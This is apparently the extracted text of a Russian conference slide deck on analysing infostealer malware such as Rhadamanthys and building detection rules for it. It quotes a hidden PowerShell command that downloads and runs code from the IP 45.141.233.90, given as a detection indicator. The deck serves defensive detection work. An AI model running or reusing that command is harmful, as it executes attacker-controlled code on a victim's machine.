
Пропустить 
нельзя, 
детектировать!
Или как мы разрабатываем правила 
для вредоносного ПО
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whoami

TI Analyst

Malware & network analysis, detection engineering

Speaker SOC Forum, ISCRA Talks, Ampire 360

amonitoring.ru

@pm_public

@sanches23rx
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Rhadamanthys Stealer

А что вы тут делаете?

Rhadamanthys Lumma Redline

Сбор данных Исследование и 
обработка

Формирование 
результатов

Статистика

Any Run
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Сбор данных

34



Проверяем актуальность

source: MalwareBazaar
tag: Rhadamanthys
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Проверяем актуальность

False Positive
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Погружение

with imphash
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Погружение

https://habr.com/ru/companies/F6/articles/809063/

Phishing AutoIT script
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SamplesSticky Werewolf
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Исследование и 

обработка

39



Исследование. Статика

Дата компиляции ПО

Язык программирования

Наличие упаковки и/или обфускации

Detect It Easy 10



Исследование. Динамика

Any Run/Cape 11



Исследование. Что еще?

Sysinternals 12



Формирование 

результатов

313



Детектирующая логика

iwr "45.141.233.90" | iex

metadata

detect strings

detect condition
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Детектирующая логика

Подозрительные строки или хэш-сумма 
импортов исполняемого файла Windows

Magic bytes исследуемого образца

Размер файла

+

+

15



Детектирующая логика
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powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -
Command "iwr "45.141.233.90" | iex"



Детектирующая логика

17

Категория “получение данных”

Уязвимость CVE
Weakness Enumeration

Attack Pattern (capec)

Техники MITRE ATT&CK

Детектирующая часть



Сетевые взаимодействия

45.141.233[.]90
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Хотите так же?

Попробовать себя в роли Threat 
Intelligence аналитика можно на 
нашем TI-портале

Например, посмотреть информацию 
для актуальных и критических 
уязвимостей или вредоносных 
индикаторов компрометации

amtip.ru/lookup 19



Cпасибо

за внимание!
Рудзик Александр

Старший специалист по 
исследованию киберугроз

+7 495 737-61-97
info@amonitoring.ru

t.me/pm_publicamonitoring.ru

sanches23rx

mailto:info@amonitoring.ru
https://t.me/pm_public
https://amonitoring.ru/


Подписывайтесь 
на наши соцсети, 

там много интересного


